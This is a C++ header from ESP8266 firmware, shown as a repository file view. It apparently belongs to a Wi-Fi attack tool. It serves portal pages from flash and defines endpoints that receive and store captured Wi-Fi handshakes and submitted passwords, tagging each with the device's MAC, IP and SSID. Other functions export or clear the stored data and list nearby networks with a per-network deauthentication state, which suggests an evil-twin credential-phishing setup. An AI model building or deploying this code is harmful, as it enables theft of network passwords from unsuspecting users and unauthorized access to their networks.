424c17b ยท 1 year ago 26 commits
  1#pragma once
  2
  3#include <LittleFS.h>
  4#include <ESP8266WebServer.h>
  5#include "utils.h"
  6
  7extern void handleRequest(ESP8266WebServer& server,String fileName,String ext);
  8extern void handleNotFound(ESP8266WebServer& server);
  9extern void handlePostHandshake(ESP8266WebServer& server);
 10extern void handlePostPassword(ESP8266WebServer& server);
 11extern void available_networks(ESP8266WebServer& server, AccessPoint ap[], int apCount,int Deauth,AccessPoint selectedAP);
 12
 13extern String getDatas();
 14extern String clearHandshakes();
 15extern String clearPasswords();
 16
 17void handleRequest(ESP8266WebServer& server,String fileName,String ext) {
 18    File files = LittleFS.open("/"+ext+fileName, "r");
 19    if (files) {
 20        if(ext=="js"){
 21            ext = "javascript";
 22          }
 23          if(ext=="png"){
 24            server.streamFile(files, "image/png");
 25          }
 26          else{
 27            server.streamFile(files, "text/"+ext);
 28          }
 29        files.close();
 30    }
 31    else {
 32        server.send(200, "text/html", "<form method='POST' action='/upload' enctype='multipart/form-data'><input type='file' name='file' directory='' webkitdirectory=''><input type='submit' value='Upload'></form>");
 33    }
 34}
 35
 36void handleNotFound(ESP8266WebServer& server) {
 37    server.sendHeader("Location", "/");
 38    server.send(302, "text/html", "");
 39}
 40
 41void handlePostHandshake(ESP8266WebServer& server) {
 42    String handshake = server.arg("plain");
 43    if (handshake == "") {
 44        server.send(200,"application/json","{\"message\":\"Handshake is empty.\"}");
 45        return;
 46    }
 47    DynamicJsonDocument handshakeJson = readJsonFile("/json/datas.json");
 48    JsonArray handshakes = handshakeJson["handshakes"];
 49    handshakes.add(handshake);
 50    writeJsonFile("/json/datas.json", handshakeJson);
 51    server.send(200,"application/json","{\"message\":\"Handshake added.\"}"); 
 52}
 53
 54void handlePostPassword(ESP8266WebServer& server) {
 55    String password = server.arg("plain");
 56    StaticJsonDocument<200> doc;
 57    if (password == "") {
 58        server.send(200,"application/json","{\"message\":\"Password is empty.\"}");
 59        return;
 60    }
 61
 62    DeserializationError error = deserializeJson(doc, password);
 63    if (error) {
 64        server.send(200,"application/json","{\"message\":\"Password is not a valid json.\"}");
 65        return;
 66    }
 67    doc["mac"] = WiFi.macAddress();
 68    doc["ip"] = WiFi.localIP().toString();
 69    doc["current_ssid"] = WiFi.SSID();
 70    DynamicJsonDocument handshakeJson = readJsonFile("/json/datas.json");
 71    JsonArray handshakes = handshakeJson["passwords"];
 72    handshakes.add(password);
 73    writeJsonFile("/json/datas.json", handshakeJson);
 74    server.send(200,"application/json","{\"message\":\"Password added.\"}"); 
 75}
 76
 77String getDatas() {
 78    File file = LittleFS.open("/json/datas.json", "r");
 79    String jsonString = file.readString();
 80    file.close();
 81    
 82    jsonString.replace("\\\"", "\"");
 83    jsonString.replace("\"{", "{");
 84    jsonString.replace("}\"", "}");
 85    return jsonString;
 86}
 87
 88String getSSID(){
 89  DynamicJsonDocument config = readJsonFile("/json/config.json");
 90  const char *ssid = config["ssid"];
 91  return "{\"ssid\":\""+String(ssid)+"\"}";
 92}
 93
 94String clearHandshakes() {
 95    DynamicJsonDocument handshakeJson = readJsonFile("/json/datas.json");
 96    JsonArray handshakes = handshakeJson["handshakes"];
 97    handshakes.clear();
 98    writeJsonFile("/json/datas.json", handshakeJson);
 99    return "{\"message\":\"Handshakes cleared.\"}";
100} 
101
102String clearPasswords() {
103    DynamicJsonDocument handshakeJson = readJsonFile("/json/datas.json");
104    JsonArray handshakes = handshakeJson["passwords"];
105    handshakes.clear();
106    writeJsonFile("/json/datas.json", handshakeJson);
107    return "{\"message\":\"Passwords cleared.\"}";
108}
109
110void available_networks(ESP8266WebServer& server, AccessPoint ap[], int apCount,int Deauth,AccessPoint selectedAP){
111    String json = "[";
112    for (int i = 0; i < apCount; i++) {
113        if(Deauth == 1 && selectedAP.bssid == ap[i].bssid)
114        {
115          ap[i].deauthState = 1;
116        }
117        else
118        {
119          ap[i].deauthState = 0;
120        }
121        json+= "{\"ssid\":\"" + ap[i].ssid + "\",\"bssid\":\"" + ap[i].bssid + "\",\"signal\":\"" + String(ap[i].signalStrength) + "\",\"channel\":\"" + String(ap[i].channel) + "\",\"encryption\":\"" + ap[i].encryptionType + "\",\"deauthState\":\"" + String(ap[i].deauthState) + "\"}";
122        if (i < apCount - 1) {
123            json += ",";
124        }
125    }
126    json += "]";
127    server.send(200, "application/json", json);
128}